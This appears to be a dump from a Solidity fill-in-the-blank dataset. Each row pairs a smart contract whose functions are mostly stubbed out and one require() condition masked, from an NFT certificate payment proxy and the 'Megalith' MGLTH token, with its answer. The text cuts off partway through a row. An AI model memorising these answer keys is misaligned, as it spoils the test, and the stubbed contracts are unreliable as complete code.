comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"Insufficient funds"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "./SCOA.sol"; interface ICOA { function createCertificate( address to_, SCOA.Certificate calldata certificate_, bytes calldata signature_ ) external; function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; } contract COANFTProxy is Ownable { using ECDSA for bytes32; using Address for address; struct Payment { uint256 amount; bytes32 nonce; bytes signature; } mapping(bytes32 => bool) public payments; ICOA internal _coa; constructor(address coa_) { } function updateCOA(address coa_) external onlyOwner { } // we create a new certificate and mint the NFT, sending both to the new owner /* * caller can be purchaser or coa creator */ function digitalArtCreate( address to_, SCOA.Certificate calldata certificate_, bytes calldata signature_, address nftContract_, bytes calldata contractFunctionData_, Payment calldata payment_ ) external payable { } // we are transfering certificate and a NFT to the new owner /* * caller must be coa creator */ function digitalArtTransfer( address to_, address certFrom_, uint256 certificateId_, address nftContract_, address nftFrom_, uint256 nftId_, Payment calldata payment_ ) external payable { } // we are transferring certificate to the physical art owner /* * caller must be coa creator */ function physicalArtTransfer( address to_, address certFrom_, uint256 certificateId_, Payment calldata payment_ ) external payable { } function makePayment( uint256 amount_, bytes32 nonce_, bytes calldata signature_ ) public pure returns (Payment memory) { } function _payment(Payment calldata payment_, bytes32 dataHash_) internal { require(payment_.nonce == dataHash_, "Invalid nonce"); address signer = payment_.nonce.toEthSignedMessageHash().recover(payment_.signature); require(signer == owner(), "Invalid signature"); require(!payments[dataHash_], "Payment already processed"); payments[dataHash_] = true; require(<FILL_ME>) (bool success, ) = owner().call{value: address(this).balance}(""); require(success, "Transfer failed."); } }
address(this).balance>=payment_.amount,"Insufficient funds"
115,192
address(this).balance>=payment_.amount
"You have not sacrificed for this prayer"
//SPDX-License-Identifier: UNLICENSED //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&& &%@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&& &&&*@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&* &&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@& &&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&& &&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&( ,&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&& &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&.&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% &&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ && .&&&&&&&&&&&&&&&&&&&&& &&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&& *&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&& &&& @@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&(@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ @ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&% &&&&&&&&&&%@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@. &&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ ,&(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@#*(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.15; /// @title Megalith Token /// @author MYRLN import "solmate/auth/Owned.sol"; import "ERC721A/ERC721A.sol"; import "openzeppelin-contracts/contracts/utils/Strings.sol"; contract MGLTH is ERC721A, Owned { using Strings for uint256; string public baseURI; bool public broadcastActive; bool public prayActive; bool public sacrificeActive = true; bool public developerSacramentState; uint public vandalismFee = 10**16; mapping (address => bool) public addressSacrificed; mapping (address => uint) public payedAmount; event Broadcast(address indexed injector, uint indexed token, string indexed mediaHash); event Vandalize(address indexed injector, uint indexed token, string indexed mediaash); constructor()ERC721A("MEGALITH", "KEYS")Owned(msg.sender){} /// @notice Receive function which calls the sacrifice function receive() external payable { } /// @notice Sacrifice function which enables claim of tokens for sender and updates the sender's payed amount function sacrifice() public payable { } /// @notice Function callable by sacrificers to claim a single token once the sacrifice period is over function pray() external { require(prayActive, "Praying is not enabled"); require(msg.sender == tx.origin, "Praying from contracts is not allowed"); require(<FILL_ME>) _mint(msg.sender, 1); addressSacrificed[msg.sender] = false; } /// @notice Function callable by token owners to broadcast content to the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to broadcast function broadcast(uint token, string calldata mediaHash) external { } /// @notice Function callable by vandal token owners to vandalize content from the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to vandalize function vandalize(uint token, string calldata mediaHash) external payable { } /// @notice Function called by vandalize function to check if the token being used is prime /// @return True if the token is prime, false otherwise /// @param n The number to check if it is prime function _isPrime(uint n) private pure returns (bool) { } /// @notice Function called by owner to update the baseURI string variable /// @param newBaseURI The new base URI for the contract function updateBaseURI(string calldata newBaseURI) external onlyOwner { } /// @notice Function called by owner to flip the sacrificeActive boolean variable function flipSacrificeActive() external onlyOwner { } /// @notice Function called by owner to flip the brodcaseActive boolean variable function flipBroadcastActive() external onlyOwner { } /// @notice Function called by owner to flip the prayActive boolean variable function flipPrayActive() external onlyOwner { } /// @notice Function called by owner to update the vandalismFee uint variable /// @param newVandalismFee The new value for the vandalismFee uint variable function updateVandalismFee(uint newVandalismFee) external onlyOwner { } /// @notice Function called by owner to withdraw all funds from the contract function withdraw() external onlyOwner { } function developerSacrament(uint quantity) external onlyOwner { } /// @notice Function called by marketplaces to return tokenURI for a given token /// @param tokenId The token to get the tokenURI for function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
addressSacrificed[msg.sender],"You have not sacrificed for this prayer"
115,241
addressSacrificed[msg.sender]
"You are not the owner of this token"
//SPDX-License-Identifier: UNLICENSED //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&& &%@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&& &&&*@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&* &&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@& &&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&& &&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&( ,&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&& &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&.&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% &&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ && .&&&&&&&&&&&&&&&&&&&&& &&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&& *&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&& &&& @@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&(@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ @ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&% &&&&&&&&&&%@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@. &&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ ,&(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@#*(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.15; /// @title Megalith Token /// @author MYRLN import "solmate/auth/Owned.sol"; import "ERC721A/ERC721A.sol"; import "openzeppelin-contracts/contracts/utils/Strings.sol"; contract MGLTH is ERC721A, Owned { using Strings for uint256; string public baseURI; bool public broadcastActive; bool public prayActive; bool public sacrificeActive = true; bool public developerSacramentState; uint public vandalismFee = 10**16; mapping (address => bool) public addressSacrificed; mapping (address => uint) public payedAmount; event Broadcast(address indexed injector, uint indexed token, string indexed mediaHash); event Vandalize(address indexed injector, uint indexed token, string indexed mediaash); constructor()ERC721A("MEGALITH", "KEYS")Owned(msg.sender){} /// @notice Receive function which calls the sacrifice function receive() external payable { } /// @notice Sacrifice function which enables claim of tokens for sender and updates the sender's payed amount function sacrifice() public payable { } /// @notice Function callable by sacrificers to claim a single token once the sacrifice period is over function pray() external { } /// @notice Function callable by token owners to broadcast content to the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to broadcast function broadcast(uint token, string calldata mediaHash) external { require(broadcastActive, "Broadcast is not active"); require(<FILL_ME>) emit Broadcast(msg.sender, token, mediaHash); } /// @notice Function callable by vandal token owners to vandalize content from the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to vandalize function vandalize(uint token, string calldata mediaHash) external payable { } /// @notice Function called by vandalize function to check if the token being used is prime /// @return True if the token is prime, false otherwise /// @param n The number to check if it is prime function _isPrime(uint n) private pure returns (bool) { } /// @notice Function called by owner to update the baseURI string variable /// @param newBaseURI The new base URI for the contract function updateBaseURI(string calldata newBaseURI) external onlyOwner { } /// @notice Function called by owner to flip the sacrificeActive boolean variable function flipSacrificeActive() external onlyOwner { } /// @notice Function called by owner to flip the brodcaseActive boolean variable function flipBroadcastActive() external onlyOwner { } /// @notice Function called by owner to flip the prayActive boolean variable function flipPrayActive() external onlyOwner { } /// @notice Function called by owner to update the vandalismFee uint variable /// @param newVandalismFee The new value for the vandalismFee uint variable function updateVandalismFee(uint newVandalismFee) external onlyOwner { } /// @notice Function called by owner to withdraw all funds from the contract function withdraw() external onlyOwner { } function developerSacrament(uint quantity) external onlyOwner { } /// @notice Function called by marketplaces to return tokenURI for a given token /// @param tokenId The token to get the tokenURI for function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
ownerOf(token)==msg.sender,"You are not the owner of this token"
115,241
ownerOf(token)==msg.sender
"This token is not prime"
//SPDX-License-Identifier: UNLICENSED //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&& &%@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&& &&&*@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&* &&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@& &&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&& &&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&( ,&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&& &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&.&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% &&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ && .&&&&&&&&&&&&&&&&&&&&& &&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&& *&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&& &&& @@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&(@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ @ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&% &&&&&&&&&&%@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@. &&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ ,&(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@#*(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.15; /// @title Megalith Token /// @author MYRLN import "solmate/auth/Owned.sol"; import "ERC721A/ERC721A.sol"; import "openzeppelin-contracts/contracts/utils/Strings.sol"; contract MGLTH is ERC721A, Owned { using Strings for uint256; string public baseURI; bool public broadcastActive; bool public prayActive; bool public sacrificeActive = true; bool public developerSacramentState; uint public vandalismFee = 10**16; mapping (address => bool) public addressSacrificed; mapping (address => uint) public payedAmount; event Broadcast(address indexed injector, uint indexed token, string indexed mediaHash); event Vandalize(address indexed injector, uint indexed token, string indexed mediaash); constructor()ERC721A("MEGALITH", 